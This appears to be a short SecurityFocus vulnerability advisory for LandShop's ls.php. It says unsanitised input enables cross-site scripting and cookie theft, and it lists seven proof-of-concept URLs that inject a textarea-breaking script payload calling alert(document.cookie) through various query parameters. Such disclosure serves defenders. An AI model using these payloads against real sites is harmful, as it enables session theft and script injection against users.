source: http://www.securityfocus.com/bid/20989/info

LandShop is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application, and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=0&CAT_ID=1&keyword=&search_area=&search_type=&infield=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> 
http://www.example.com/PATH/action/ls.php?lang=en&action=list&start=20&CAT_ID=1&keyword=&search_area=&search_type=&search_order=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>